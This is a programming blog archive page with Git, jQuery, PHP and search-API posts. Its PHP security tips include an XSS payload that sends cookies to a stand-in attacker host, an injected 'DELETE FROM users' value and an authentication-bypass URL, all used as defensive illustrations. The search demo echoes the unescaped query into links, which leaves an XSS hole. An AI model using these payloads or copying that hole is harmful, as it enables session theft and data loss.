You Are Here Home > Programming

Programming

Beginning Source Code Management With GIT Tutorial Part 1

If you are not using anything like GIT and you just use simple folders for development then I’m sure you have had situations where you needed to make some changes but broke the whole thing.

Or consider the situation where you had a huge idea and it required rewrite of a lot of things OR some dramatic changes to your source code files so you went half way through and (unless you had a copy of the whole code) you didn’t have a way to go back anymore.

Or when you wanted to backup your codebase, did you have to zip it and copy it to some external hard disk or server? That’s a pain.

Or when you wanted to develop something with your friend and you know what kind of a mess that is, right?

If these sound familiar then GIT is designed just to help you do these tasks faster, nicer and more reliable. It will also take care of a lot of things for you.

First let’s install git, on Windows (which is my platform for now) you will need to install this:
http://code.google.com/p/msysgit/
NOTE: you will have some options during installation, choose these options: 1 – GIT should use the regular Windows Command line 2 – GIT should add itself to Windows path 3 – GIT should NOT change the line endings. You will see these options during installation…

On MAC try:
http://help.github.com/mac-git-installation/

On Linux try: (note: you might already have it, got to Terminal and type “git” and hit “Enter”)
yum install git-core

After you installed GIT open your Terminal or Command Line for Windows and type these commands:

> git config --global user.name "YOUR NAME"
> git config --global user.email "YOUR EMAIL"

For Windows:

> git config –global core.editor “notepad.exe”

It’s obvioud what these do so now let’s try GIT, make a folder somewhere and paste one of your projects in there let’s assume that the folder is at C:\git_test\ then do:

> cd C:\git_test

On Linux or Mac this would look like this:

> cd /git_test

Now let’s initialize our GIT repository:

> git init

After this command, GIT will create a .git folder inside git_test folder, the cool thing is that GIT won’t modify anything, GIT won’t keep the files in some other location, it just tracks the files inside your folder as you edit them normally, in other words, GIT won’t get in your way at all!

Then try:

> git status

This will show you all the files in this folder but it will also tell you that these files are not tracked by GIT yet so to let GIT track them try:

> git add .

You could add single files like:

> git add index.html

But the “.” will add everything so that’s what I always do.

Now we need to commit everything for the first time, so try:

> git commit -a -m "Initial commit"

So now go ahead and edit one of the files and change it a bit then go back to your command line and type:

> git status

As you can see GIT knows what file you edited, it doesn’t end there try:

> git diff

It even knows what you did exactly, so now you can commit the new changes:

> git commit -a -m "Test edit"

Note that you are entering a message with each commit, it’s best if you explain in a short sentence what you did…

You can see a history of your commits with:

> git log

You may notice that with each record there is a sha1 hash string, that is the hash of the content and it is useful for a bunch of things you can do with GIT.

Assume that the last edit you just did, broke something and you want to go back to the previous stable state, to do this you must know the sha1 hash of the commit that you want to revert to, for this example let’s revert to “Initial commit” state (our first commit), to do this type:

> git log

Then copy the sha1 hash that is associated to the “Initial commit” commit and type:

> git revert PASTE_THE_SHA1_HASH_HERE

Now go back and look for your changes, they are not there anymore!

Also you must be careful, GIT never asks questions like “are you sure you want to revert?” etc. it just does it so pay extra attention when doing things like this…

Now let me show you one last thing in this tutorial and that is the concept of branches, type:

> git branch

This will show you something like:

*master

The branch master was created automatically when you created this repo and the * means that this branch is active.

Let’s say that you have a crazy idea and that requires changing the code quite a bit but you don’t want to mess around with the code that is already stable and working, this is were branching comes into play and GIT does it better than any other system, it does it in a very simple and fast way.

Let’s create a branch and call it experiment:

> git branch experiment

This single line just created an entirely identical copy of the whole code – folders and files – in GIT’s database for you, that was fast right?

Now let’s switch to this new branch:

> git checkout experiment

If you try:

> git branch

You will see something like:

*experiment
master

Confirming that you are now in the branch “experiment”.

So the cool part is this, try editing some of the files, maybe even remove some files and add some other files to the folder git_test to test how all of this works then try:

> git add .

This will add any new files you just pasted in your git_test folder for tracking and finally try:

> git commit -a -m "Committing in experiment to test branches"

Here is the magic, try:

> git checkout master

Go back to see your new edits and check for the files you removed or added; all the changes are gone! Your folder is now in it’s initial/stable state!

To remove a branch try:

> git branch -d "experiment"

Again remember, GIT won’t ask you “are you sure?” or questions like that so be careful when removing stuff…

I should also mention that GIT was written by Linus Torvalds who also made Linux Kernel…

That’s it for now, I will write more about this great tool soon and I hope this helps someone.

Beginning Source Code Management With GIT Tutorial Part 1
Comments (0)   Filed under: GIT, General, Programming   Posted by: Codehead on March 5, 2010

jQuery UI Dialog And The Enter – Return Key Problem

This is another post for my ‘Annoying Stuff’ collection and this one is very, so very annoying…

The problem is that jQuery UI, supports forms in dialogs but the problem is that a user can’t hit ‘Enter’ to submit the form, it will break everything, a user has to actually hit the ‘Submit’ (or whatever) button manually. This make the whole thing completely useless unless you make some changes that are basically tweaking the internals of jQuery UI, which is ugly and can break if they change things around but sadly this is the only solution for now.

Assuming that you use the same syntax jQuery UI suggests to create your form, the fix is something like this:

$('.dialog').find('input').keypress(function(e) {
	if ((e.which && e.which == 13) || (e.keyCode && e.keyCode == 13)) {
		$(this).parent().parent().parent().parent().find('.ui-dialog-buttonpane').find('button:first').click(); /* Assuming the first one is the action button */
		return false;
	}
});

You might have to modify it a tiny bit, if that’s the case, you most likely have to change the part $(‘.dialog’) so that it selects the right container that wraps the form…

jQuery UI Dialog And The Enter – Return Key Problem
Comments (0)   Filed under: Annoying Stuff, JavaScript, Programming, Web Design, Web Development, jQuery   Posted by: Codehead on February 18, 2010

Script For Counting Number Of Lines Of Code In Your Website; Composite Design Pattern

This is another thread from our forums which we are closing down soon.

This script will count the number of lines in all of your source files recursively. Just place it in any folder and point your browser to it and it will count all the lines including sub directories.

It might run out of memory if your application is huge and your PHP memory limit is low. For me, it counted 97,000 lines in our last project with no problems.

You also have an option to exclude file extensions and directories.

The other thing about this script is that it is a great little example of composite design pattern in action; every directory is an object that will count all the lines (in the files) in it and asks it’s sub directories to do the same, then the sub directories also repeat the same process.

<?php
 
	/**
	 * Counts the lines of code in this folder and all sub folders
	 * You may not sell this script or remove these header comments
	 * @author Hamid Alipour, http://blog.code-head.com/
	**/
 
	define('SHOW_DETAILS', true);
 
	class Folder {
 
		var $name;
		var $path;
		var $folders;
		var $files;
		var $exclude_extensions;
		var $exclude_files;
		var $exclude_folders;
 
 
		function Folder($path) {
			$this -> path 		= $path;
			$this -> name		= array_pop( array_filter( explode(DIRECTORY_SEPARATOR, $path) ) );
			$this -> folders 	= array();
			$this -> files		= array();
			$this -> exclude_extensions = array('gif', 'jpg', 'jpeg', 'png', 'tft', 'bmp', 'rest-of-the-file-extensions-to-exclude');
			$this -> exclude_files 	    = array('count_lines.php', 'rest-of-the-files-to-exclude');
			$this -> exclude_folders 	 = array('_private', '_vti_bin', '_vti_cnf', '_vti_log', '_vti_pvt', '_vti_txt', 'rest-of-the-folders-to-exclude');
		}
 
		function count_lines() {
			if( defined('SHOW_DETAILS') ) echo "/Folder: {$this -> path}...\n";
			$total_lines = 0;
			$this -> get_contents();
			foreach($this -> files as $file) {
				if( in_array($file -> ext, $this -> exclude_extensions) || in_array($file -> name, $this -> exclude_files) ) {
					if( defined('SHOW_DETAILS') ) echo "#---Skipping File: {$file -> name};\n";
					continue;
				}
				$total_lines += $file -> get_num_lines();
			}
			foreach($this -> folders as $folder) {
				if( in_array($folder -> name, $this -> exclude_folders) ) {
					if( defined('SHOW_DETAILS') ) echo "#Skipping Folder: {$folder -> name};\n";
					continue;
				}
				$total_lines += $folder -> count_lines();
			}
			if( defined('SHOW_DETAILS') ) echo "\n Total lines in {$this -> name}: $total_lines;\n\n";
			return $total_lines;
		}
 
		function get_contents() {
			$contents = $this -> _get_contents();
			foreach($contents as $key => $value) {
				if( $value['type'] == 'Folder' ) {
					$this -> folders[] = new Folder($value['item']);
				} else {
					$this -> files[]   = new File  ($value['item']);
				}
			}
		}
 
		function _get_contents() {
			$folder = $this -> path;
			if( !is_dir($folder) ) {
				return array();
			}
			$return_array = array();
			$count		  = 0;
			if( $dh = opendir($folder) ) {
				while( ($file = readdir($dh)) !== false ) {
					if( $file == '.' || $file == '..' ) continue;
					$return_array[$count]['item']	= $folder .$file .(is_dir($folder .$file) ? DIRECTORY_SEPARATOR : '');
					$return_array[$count]['type']	= is_dir($folder .$file) ? 'Folder' : 'File';
					$count++;
				}
				closedir($dh);
			}
			return $return_array;
		}
 
	} // Class
 
	class File {
 
		var $name;
		var $path;
		var $ext;
 
 
		function File($path) {
			$this -> path = $path;
			$this -> name = basename($path);
			$this -> ext  = array_pop( explode('.', $this -> name) );
		}
 
		function get_num_lines() {
			$count_lines = count(file($this -> path));
			if( defined('SHOW_DETAILS') ) echo "|---File: {$this -> name}, lines: $count_lines;\n";
			return $count_lines;
		}
 
	} // Class
 
	$path_to_here = dirname(__FILE__) .DIRECTORY_SEPARATOR;
	$folder 		  = new Folder($path_to_here);
	echo 'Total lines of code: ' .$folder -> count_lines() ."\n\n";
 
?>
Script For Counting Number Of Lines Of Code In Your Website; Composite Design Pattern
Comments (0)   Filed under: Design Patterns, Fun, PHP, Programming, Web Development   Posted by: Codehead on February 8, 2010

PHP MySQL Web Development Security Tips – 14 tips you should know when developing with PHP and MySQL

We are closing down our forums, it’s time to move on, but we are keeping some important threads, here are the AJAX tutorials…

PHP MySQL Web Development Security Tips – 14 tips you should know when developing with PHP and MySQL

I read about many of these points in books and tutorials but I was rather lazy to think about many of them initially learned some of these lessons the hard way. Fortunately I didn’t lose any major data over security issues with PHP MySQL, but my suggestion to everyone who is new to PHP is to read these tips and apply them *before* you end up with a big mess.

1. Do not trust user input
If you are expecting an integer call intval() (or use cast) or if you don’t expect a username to have a dash (-) in it, check it with strstr() and prompt the user that this username is not valid.

Here is an example:

$post_id = intval($_GET['post_id']);
mysql_query("SELECT * FROM post WHERE id = $post_id");

Now $post_id will be an integer for sure :)

2. Validate user input on the server side
If you are validating user input with JavaScript, be sure to do it on the server side too, because for bypassing your JavaScript validation a user just needs to turn their JavaScript off.
JavaScript validation is only good to reduce the server load.

3. Do not use user input directly in your SQL queries
Use mysql_real_escape_string() to escape the user input.
PHP.net recommends this function: (well a little different)

  function escape($values) {
   if(is_array($values)) {
    $values = array_map('escape', $values);
   } else {
    /* Quote if not integer */
    if ( !is_numeric($values) || $values{0} == '0' ) {
     $values = "'" .mysql_real_escape_string($values) . "'";
    }
   }
   return $values;
  }

Then you can use it like this:

$username = escape($_POST['username']);
mysql_query("SELECT * FROM user WHERE username = $username"); /* escape() will also adds quotes to strings automatically */

4. In your SQL queries don’t put integers in quotes
For example $id is suppose to be an integer:

$id = "0; DELETE FROM users";
$id = mysql_real_escape_string($id); // 0; DELETE FROM users -  mysql_real_escape_string doesn't escape ;
mysql_query("SELECT * FROM users WHERE id='$id'");

Note that, using intval() would fix the problem here.

5. Always escape the output
This will prevent XSS (Cross Site Scripting) attacks, imagine you receive and save some data from a user and you want to display this data on a web page later (maybe his/her bio or username) and the user puts this bit of code in the input field along with his bio:

<script>alert('');</script>

If you display the raw user input on a web page this will be very ugly, it can even be worse if a user inputs this code instead:

<script>document.location.replace('http://attacker/?c='+document.cookie);</script>

With this, an attacker can steal cookies from whoever visits that certain page (containing bio etc.) and this includes session cookies with session IDs in them so the attacker can hijack your users’ sessions and appear to be logged in as other users.

When displaying user input on a page use htmlentities($user_bio, ENT_QUOTES, ‘UTF-8′);

6. When uploading files, validate the file mime type
If you are expecting images, make sure the file you are receiving is an image or it might be a PHP script that can run on your server and does whatever damage you can imagine.

One quick way is to check the file extension:

$valid_extensions = array('jpg', 'gif', 'png'); // ...
 
$file_name  = basename($_FILES['userfile']['name']);
$_file_name = explode('.', $file_name);
$ext        = $_file_name[ count($_file_name) - 1 ];
 
if( !in_array($ext, $valid_extensions) ) {
 /* This file is invalid */
}

Note that validating extension is a very simple way, and not the best way, to validate file uploads but it’s effective;
simply because unless you have set your server to interpret .jpg files as PHP scripts then you are fine.

7. If you are using 3rd party code libraries, be sure to keep them up to date
If you are using code libraries like Smarty or ADODB etc. be sure to always download the latest version.

8. Give your database users just enough permissions
If a database user is never going to drop tables, then when creating that user don’t give it drop table permissions, normally just SELECT, UPDATE, DELETE, INSERT should be enough.

9. Do not allow hosts other than localhost to connect to your database
If you need to, add only that particular host or IP as necessary but never, ever let everyone connect to your database server.

10. Your library file extensions should be PHP
.inc files will be written to the browser just like text files (unless your server is setup to interpret them as PHP scripts), users will be able to see your messy code (kidding:)) and possibly find exploits or see your passwords etc.
Have extensions like config.inc.php or have a .htaccess file in your extension (templates, libs etc.) folders with this one line:

deny from all

11. Have register globals off or define your variables first
Register globals can be very dangerous, consider this bit of code:

if( user_logged_in() ) {
 $auth = true;
}
 
if( $auth ) {
 /* Do some admin stuff */
}

Now with register globals on an attacker can view this page like this and bypass your authentication:
[url]http://yourwebsite.com/admin.php?auth=1[/url]

If you have registered globals on and you can’t turn it off for some reason you can fix these issues by defining your variables first:

$auth = false;
if( user_logged_in() ) {
 $auth = true;
}
 
if( $auth ) {
 /* Do some admin stuff */
}

Defining your variables first is a good programming practice that I suggest you follow anyway.

12. Keep PHP itself up to date
Just take a look at [url]www.php.net[/url] and see release announcements and note how many security issues they fix on every release to understand why this is important.

13. Read security books
Always find new books about PHP security to read; you can start by reading the 4th book in the Learning PHP Post, which is one of the best books on PHP security and the author is a member of the PHP team so he knows the internals very well.

14. Contribute to this list :)
Feel free to reply to this thread and add to this list, it will be helpful for everyone!

Thanks!
-Codehead

PHP MySQL Web Development Security Tips – 14 tips you should know when developing with PHP and MySQL
Comments (1)   Filed under: PHP, Programming, Web Development   Posted by: Codehead on February 2, 2010

Learning PHP – best PHP books

We are closing down our forums, it’s time to move on, but we are keeping some important threads, here are the AJAX tutorials…

Learning PHP – best PHP books

PHP and MySQL Web Development (4th Edition) (Developer’s Library) (Hardcover)
by, Luke Welling and Laura Thomson

This book is one of the best books on PHP and MySQL. It starts with introductions to PHP and MySQL and then shows you how to write common applications from scratch using these technologies. You will learn how to write a shopping cart, a content management system (CMS), a web based email service, a mailing list manager, a forum application, and more.
Some other useful topics covered in this book are:
How to run an E-Commerce site, Session management, user login and registration, generating images and PDF documents on the fly with PHP, using network protocols with PHP, Object Oriented Programming (OOP), regular expressions, etc.
_________________________________________________

Advanced PHP Programming
by, George Schlossnagle

This book will teach you advanced techniques required to make a large scale web application (web site), there are many advanced topics covered in this book such as:
Various caching techniques using PHP, unit testing, good API design, interacting with remote services, Object Oriented Programming (OOP) through design patterns, Session handling, and more.
_________________________________________________

PHP|Architect’s Guide to PHP Design Patterns
by, Jason E. Sweat

This book covers many of the Design Patterns that are common in developing websites and is one of the first PHP Design Patterns books. Code samples are in PHP4 and PHP5.
The book covers 16 different design patterns including:
The ValueObject Pattern, The Factory Pattern, The Singleton Pattern, The Registry Pattern, The MockObject Pattern, The Strategy Pattern, The Model-View-Controller Pattern, and many more.
_________________________________________________

PHP|Architect’s Guide to PHP Security
by, Ilia Alshanetsky

This book will teach you how to make secure and reliable web applications, the author is one of the contributors to PHP programming language core.
Topics covered are: Input validation, Cross-Site Scripting (XSS) attacks prevention, Command Injection attacks prevention, SQL Injection attacks prevention, Code injection attacks prevention, and more.
This is a MUST read book for PHP developers.
_________________________________________________

Mastering Regular Expressions (3rd Edition)
by, Jeffrey E F Friedl

This book is the best book on Regular Expressions. If you’re having trouble learning Regular Expressions,this book will help you grasp the concept and master them.
Plus, the 3rd edition has an entire chapter dedicated to PHP.

Learning PHP – best PHP books
Comments (0)   Filed under: PHP, Programming, Web Development   Posted by: Codehead on

PHP; Advancing Array Pointer In a Foreach Loop

This is not possible because ‘foreach’ operates on a copy of the array so there is no way to do it, don’t waste your time :)

BUT

You can work around this by replacing the ‘foreach’ with a ‘while’ loop, but before you do so, you must know that the following loops are functionally identical:

foreach ($days as $day) {
   echo $day;
}
 
while (list(, $day) = each($days)) {
   echo $day;
}

The same is true for these two, they are functionally identical:

foreach ($days as $i => $day) {
   echo $i .': ' .$day;
}
 
while (list($i, $day) = each($days)) {
   echo $i .': ' .$day;
}

‘While’ doesn’t operate on a copy of the array so you can do something like this, replace your ‘foreach’ with a ‘while’ loop and:

while (list(, $token) = each($tokens)) {
   /* Skip white spaces */
   if ($token == ' ') {
      while ($token == ' ') $token = next($tokens);
   }
}

I hope this makes sense :)

PHP; Advancing Array Pointer In a Foreach Loop
Comments (0)   Filed under: PHP, Programming, Web Development   Posted by: Codehead on January 13, 2010

Codehead Search Engine API; how to write your own Search Application in ~150 lines of code

We launched Codehead Web Services a while ago and have introduced 2 APIs so far [A Website Thumnail API and a Search Engine API].

Our goal is to provide some cool functionality that is rather hard to implement through a set of simple web services/APIs so users can create and enhance their own applications.

Here is a full working search engine using the Codehead Search Engine API:

<?php
 
	error_reporting(E_ALL);
 
	/* Save sort order and match mode prefrences in a session variable */
	session_start();
 
	/* Set default values for sort, match_mode and search_section */
	if (!isset($_SESSION['sort']))
		$_SESSION['sort'] = 'relevance_date';
 
	if (!isset($_SESSION['match_mode']))
		$_SESSION['match_mode'] = 'any';
 
	if (!isset($_SESSION['search_section']))
		$_SESSION['search_section'] = 'articles';
 
	include 'libs/codehead_api/codehead_api.php';
	$ch = new Codehead_API();
 
	/* Assume there is a $_GET['q'], @ makes sure PHP won't trow E_NOTICE and if there is no $_GET['q'] then $q will be empty or '' */
	$q = trim(@$_GET['q']);
 
	/* $rpp is results per page */
	$rpp = 25;
 
	/* $start is where to start the next page; at what item number? 10, 20, 50? This usually comes from a pager */
	$start = intval(@$_GET['start']);
 
	/* Whether or not the user want to change sort, match_mode or search section */
	if (isset($_GET['sort']))
		$_SESSION['sort'] = $_GET['sort'];
 
	if (isset($_GET['match_mode']))
		$_SESSION['match_mode'] = $_GET['match_mode'];
 
	if (isset($_GET['search_section']))
		$_SESSION['search_section'] = $_GET['search_section'];
 
?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Search - Powered By Codehead Search API</title>
 
	<style type="text/css">
		input { vertical-align: middle; }
	</style>
 
</head>
 
<body>
 
<!-- The search form -->
<form method="get" action="">
Search For: <input type="text" name="q" value="<?php echo __escape($q); ?>" /> <input type="submit" value="  GO  " />
</form>
Search in:
	<a href="?q=<?php echo __escape($q); ?>&search_section=articles">Articles</a> -
   <a href="?q=<?php echo __escape($q); ?>&search_section=forums">Forums</a> -
   <a href="?q=<?php echo __escape($q); ?>&search_section=jobs">Jobs</a> -
   <a href="?q=<?php echo __escape($q); ?>&search_section=news">News</a> -
   <a href="?q=<?php echo __escape($q); ?>&search_section=blogs">Blogs</a> - It's '<?php echo $_SESSION['search_section']; ?>' right now
<br />
Sort by:
	<a href="?q=<?php echo __escape($q); ?>&sort=relevance_date">Relevance Date</a> -
   <a href="?q=<?php echo __escape($q); ?>&sort=relevance">Relevance Only</a> -
   <a href="?q=<?php echo __escape($q); ?>&sort=date">Date Only</a> - It's '<?php echo $_SESSION['sort']; ?>' right now
<br />
Matching Mode:
	<a href="?q=<?php echo __escape($q); ?>&match_mode=any">Any Keyword</a> -
   <a href="?q=<?php echo __escape($q); ?>&match_mode=all">All Keywords</a> -
   <a href="?q=<?php echo __escape($q); ?>&match_mode=exact">Exact Match</a> - It's '<?php echo $_SESSION['match_mode']; ?>' right now
<br /><br />
 
<?php
 
	/* If $q is not empty, do the search */
	if ($q != '') {
 
		/* Do the actual search, note how simple and painless it is! */
		$results = $ch->search->do_search($_SESSION['search_section'], $q, $start, $rpp, $_SESSION['sort'], $_SESSION['match_mode']);
 
		/* Error checking is always necessary! */
		if ($ch->has_error) {
 
			echo 'OOPS! there was a temporary error.';
			/* If you want to display the internal error, go ahead and do */
 
		} else {
 
			/* All good, loop through and display the results */
			// echo '<pre>'; print_r($results); exit;
 
			if ($results['total'] > 0) {
 
				echo "Results $start to " .($start + $rpp) ." out of around {$results['total']} total results; search took {$results['search_time']} second(s)!<br /><br />";
 
				/* Show the previous/next page link */
				if ($results['total'] > $rpp && ($start + $rpp) < $results['total'])
					echo "<a href=\"?q=$q&start=" .($start + $rpp) ."\">Next $rpp results</a>";
 
				if ($start >= $rpp)
					echo " - <a href=\"?q=$q&start=" .($start - $rpp) ."\">Previous $rpp results</a><br /><br />";
				else
					echo "<br /><br />";
 
				foreach ($results['results'] as $id => $result) {
					/* Very rarely, some items might be deleted from the index so this check is necessary */
					if (!isset($result['title']))
						continue;
				?>
					<a href="<?php echo __escape($result['url']); ?>"><?php echo __escape($result['title']); ?></a><br />
					<small>From: <?php echo __escape($result['source_title']); ?> <?php echo __escape($result['formated_date']); ?></small><br />
					<?php echo __escape($result['content']); ?><br />
				<?php
					/* Codehead Search groups results for news stories */
					if (isset($result['grouped'])) {
						foreach ($result['grouped'] as $gresult) {
						?>
							<small><a href="<?php echo __escape($gresult['url']); ?>"><?php echo __escape($gresult['title']); ?></a> - <span style="color: #999999;"><?php echo __escape($gresult['source_title']); ?></span></small><br />
                  <?php
						}
					}
					echo '<br />';
				}
 
				/* Show the previous/next page link */
				if ($results['total'] > $rpp && ($start + $rpp) < $results['total'])
					echo "<a href=\"?q=$q&start=" .($start + $rpp) ."\">Next $rpp results</a>";
 
				if ($start >= $rpp)
					echo " - <a href=\"?q=$q&start=" .($start - $rpp) ."\">Previous $rpp results</a>";
 
			} else {
				echo 'Your search didn\'t match any documents.';
			}
 
		}
 
	}
 
?>
 
</body>
</html>
 
<?php
 
	function __escape($str) {
		return htmlentities($str, ENT_QUOTES, 'utf-8');
	}
 
?>

It’s very easy to understand this code but I’ll try to explain a few things about how it works.

Here is the full documentation of our Search Engine API:

  • Simple Usage

    Here is the simplest way of searching our database for the term ‘PHP Sessions’:

    <?php
     
    /* Include and instantiate Codehead_API here, if you don't know how, read from the beginning of this documentation */
     
    $results = $ch->search->do_search('articles', 'PHP Sessions');
     
    if (!$ch->has_error) {
    	if ($results['total'] > 0) {
     
    		foreach ($results['results'] as $id => $result) {
    			/* Very rarely, some items might be deleted from the index so this check is necessary */
    			if (!isset($result['title']))
    				continue;
    		?>
    			<a href="<?php echo __escape($result['url']); ?>"><?php echo __escape($result['title']); ?></a><br />
    			<small>From: <?php echo __escape($result['source_title']); ?> <?php echo __escape($result['formated_date']); ?></small><br />
    			<?php echo __escape($result['content']); ?><br />
    		<?php
    			/* Codehead Search groups results for news stories */
    			if (isset($result['grouped'])) {
    				foreach ($result['grouped'] as $gresult) {
    				?>
    					<small><a href="<?php echo __escape($gresult['url']); ?>"><?php echo __escape($gresult['title']); ?></a> - <span style="color: #999999;"><?php echo __escape($gresult['source_title']); ?></span></small><br />
    				<?php
    				}
    			}
    			echo '<br />';
    		}
     
    	} else {
    		echo 'Your search didn\'t match any documents.';
    	}
    }
     
    ?>
    <br />
    			The function __escape() is not necessary but we like to escape EVERYTHING before printing, this function is very simple:<br /><br />
    <pre lang="php">
    <?php
     
    function __escape($str) {
    	return htmlentities($str, ENT_QUOTES, 'utf-8');
    }
     
    ?>

  • Methods

    There are 6 methods that you can use to retrieve search results:

    <?php
     
    array do_search(string $section, string $search_term [, int $offset [, int $results_per_page [, string $sort_mode [, string $match_mode]]]] )
     
    array articles(string $search_term [, int $offset [, int $results_per_page [, string $sort_mode [, string $match_mode]]]] )
    array jobs(string $search_term [, int $offset [, int $results_per_page [, string $sort_mode [, string $match_mode]]]] )
    array forums(string $search_term [, int $offset [, int $results_per_page [, string $sort_mode [, string $match_mode]]]] )
    array blogs(string $search_term [, int $offset [, int $results_per_page [, string $sort_mode [, string $match_mode]]]] )
    array news(string $search_term [, int $offset [, int $results_per_page [, string $sort_mode [, string $match_mode]]]] )
     
    ?>

    Below are detailed descriptions of these arguments and the reply from the server…

  • Search Sections

    Codehead Search Engine API has 5 sections for searching:

        1 – forums
        2 – articles
        3 – blogs
        4 – news
        5 – jobs

    You could search these sections directly like:

    <?php
     
    $results = $ch->search->jobs('Python');
     
    ?>

    Or use the generic do_search method like:

    <?php
     
    $results = $ch->search->do_search('jobs', 'Java');
     
    ?>

    !!!Please note that, the default section is ‘articles’ so if you misspell the section or pass in an empty section, the API will respond with all the articles matching your term!!!

  • Offset and Results Per Page (RPP)

    The offset is the start offset in which you want the results; if you have a pager and a user clicks on ‘Page 2′ then you must pass in the starting offset of the page 2. The default value for offset is 0 which means starting at the beginning of the result set.

    Results per page (RPP) is the number of search results that you want to show on each of your SERP pages. Valid values for RPP are 10 or 25 and the default value is 10.

    As an example, suppose you are showing 10 search results per page so the starting offset of your page 3 would be 3 * 10 or 30 so:

    <?php
     
    $results = $ch->search->do_search('news', 'bing', 30, 10);
     
    ?>

    Will display the page 3.

  • Sort Mode

    This is the mode in which the Search Engine API will sort your search results and valid values are:

    relevance_date

    Which will sort your results in order of relevance to the search term and also their freshness, this is our prefered mode.

    relevance – Also Default

    Will only sort your results based on their relevance to the search term. This is the default value for $sort_mode.

    date

    Will only sort your results based on date and it’s the least favorite sorting mode.

    Examples

    <?php
     
    $results = $ch->search->do_search('news', 'bing', 30, 10, 'relevance_date');
    /* or */
    $results = $ch->search->do_search('news', 'bing', 30, 10, 'relevance');
    /* or */
    $results = $ch->search->do_search('news', 'bing', 30, 10, 'date');
     
    ?>

  • Match Mode

    There are 3 matching modes:

    any

    This will tell the Search Engine API to match any of the keywords in your search term, for example if your search term is ‘SEO Jobs’, the API will return all the documents with either ‘SEO’ or ‘Jobs’ in them and that will include documents with both keywords in them too.

    all – Also Default

    Will return all the documents with all the keywords in them. This is also the default $match_mode.

    exact

    This will match all the documents with all the keywords in them but this time it will make sure that the keywords will appear in the exact order in the search term. This is basically phrase match, for example if your search term is ‘PHP Jobs Las Vegas’, the Search Engine API will return all the documents with the exact phrase ‘PHP Jobs Las Vegas’ in them.

    Examples

    <?php
     
    $results = $ch->search->do_search('news', 'bing', 30, 10, 'relevance_date', 'any');
    /* or */
    $results = $ch->search->do_search('news', 'bing', 30, 10, 'relevance_date', 'all');
    /* or */
    $results = $ch->search->do_search('news', 'bing', 30, 10, 'relevance_date', 'exact');
     
    ?>

  • All About The Results Array

    The return value of any of the above methods is an array that contains the search results along with some data about the search.

    The components of this array are:

        1 – results – Which is an array containing the search results.
        2 – total – Is the total number of matches, this is useful when building pagers.
        3 – encoding – Is the encoding of the items in the result.
        4 – time_now – The current time of the server in Unix timestamp.
        5 – start – The start offset of the results.
        6 – rpp – Results per page.
        7 – sort – Sort mode.
        8 – match_mode – Match mode.
        9 – search_time – The time it took to perform the search in milliseconds.

    !!!Please note that, each item in the ‘results’ might contain another sub-array named ‘grouped’ which are the results that were similar to that item; this will only be the case when you search the news!!!

    The best way to examine the ‘results’ array is to perform a search and then print_r() the results.

    <?php
     
    $results = $ch->search->do_search('blogs', 'snow leopard', 30, 10, 'relevance_date', 'any');
    print_r($results);
     
    ?>

Any problems with the API? You can create a support ticket in your Codehead Webservice Account under Account > Help.

Good Luck :)

P.S. Check out the original Codehead Search, our super-fast, custom search engine, where you can scour the best content on the net for computer and web related jobs, forum posts, articles and tutorials, blog posts and news stories all in one place.

Codehead Search Engine API; how to write your own Search Application in ~150 lines of code
Comments (0)   Filed under: Codehead Web Services, PHP, Programming, Search Engines, Web Development   Posted by: Codehead on September 2, 2009

How to write a permission system using bits and bitwise operations in PHP

I wrote this in PHP but you can use the same concept in other languages, I also assume an understanding of bits, bytes, binary to decimal conversion and vice-versa and bitwise operations on numbers like ‘or’, ‘and’ and ‘xor’ etc. if you have no idea, search and read about these first. You don’t have to be a guru but you should have an idea. Here are some pages to get you started:

http://en.wikipedia.org/wiki/Byte
http://en.wikipedia.org/wiki/Bitwise_operation
http://us.php.net/manual/en/language.operators.bitwise.php
Some binary to decimal calculators to make it easier

We will use simple numbers to represent different permissions and as you might know a number is a collection of bytes. For example: an integer is usually 4 bytes. Although you don’t have to worry about the size of a number in a high level language like PHP but a little understanding of representation of numbers will help you better understand this technique.

So let’s assume when I say:

<?php
 
	$user_perms = 7;
 
?>

Internally the variable $user_perms looks like this:

|0|0|0|0|0|0|0|0|0|0|0|0|0|1|1|1|

This is a 2 byte representation of number 7, although, it might not look like this internally – it looks similar. Just assume this for now.

Let’s say that your application supports 4 functions that a user can use:

1 – Post a blog post
2 – Comment on blog posts
3 – Edit posts
4 – Delete posts

Normally, you could have 4 fields in your database table (structure or whatever) for a user titled:

1 – can_post
2 – can_comment
3 – can_edit
4 – can_delete

This is not good, 4 additional fields for your user table and who knows, what if your application has 100 functions? Do you want to add 100 fields to your user table?

With bits, you can have only 1 column and track all the permissions.

1 – perms

To do this, we will have to assign numbers for each of the functions: (Tip: use one of the calculators in the above list ;) )

1 – Post a blog post |0|0|0|0|0|0|0|1| is 1 in decimal
2 – Comment on blog posts |0|0|0|0|0|0|1|0| is 2 in decimal
3 – Edit posts |0|0|0|0|0|1|0|0| is 4 in decimal
4 – Delete posts |0|0|0|0|1|0|0|0| is 8 in decimal

So you could have an array like this:

<?php
 
	$perms = array(
		'can_post' => 1,
		'can_comment' => 2,
		'can_edit' => 4,
		'can_delete' => 8
	);
 
?>

Almost there, let’s look at user’s perms field now.

I hope you know about bitwise ‘or’, when you ‘or’ 1 and 1 you get 1; 0 ‘or’ 1 is 1; 1 ‘or’ 0, is 1 and finally 0 ‘or’ 0 is 0, it’s just like the meaning of ‘or’ in the English language.

Similarly, bitwise ‘and’; when you ‘and’ 1 and 1 you get 1; 0 ‘and’ 1 is 0; 1 ‘and’ 0, is 0 and finally 0 ‘and’ 0 is 0, again it’s just like the meaning of ‘or’ in the English language.

Bitwise ‘xor’; when you ‘xor’ 1 and 1 you get 0; 0 ‘xor’ 1 is 1; 1 ‘xor’ 0, is 1 and finally 0 ‘xor’ 0 is 0.

So suppose you want to give a user permissions to post a blog post, post a comment and edit posts but not delete posts, you do it like this:

<?php
 
	$user_perms = $perms['can_post'] | $perms['can_comment'] | $perms['can_edit'];
 
?>

Note that, in PHP ‘|’ means ‘or’, so what just happened is something like this:

|0|0|0|0|0|0|0|1| ‘or’
|0|0|0|0|0|0|1|0| ‘or’
|0|0|0|0|0|1|0|0|
_______________________
|0|0|0|0|0|1|1|1|

Now $user_perms has the value 7 and |0|0|0|0|0|1|1|1| in it internally.

